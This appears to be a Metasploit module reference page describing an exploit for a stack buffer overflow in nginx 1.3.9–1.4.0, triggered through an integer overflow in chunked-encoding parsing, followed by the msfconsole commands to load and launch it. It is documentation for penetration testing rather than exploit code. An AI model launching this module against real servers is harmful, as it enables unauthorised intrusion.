This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size. This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/nginx_chunked_size
msf exploit(nginx_chunked_size) > show targets
...targets...
msf exploit(nginx_chunked_size) > set TARGET < target-id >
msf exploit(nginx_chunked_size) > show options
...show and set options...
msf exploit(nginx_chunked_size) > exploit
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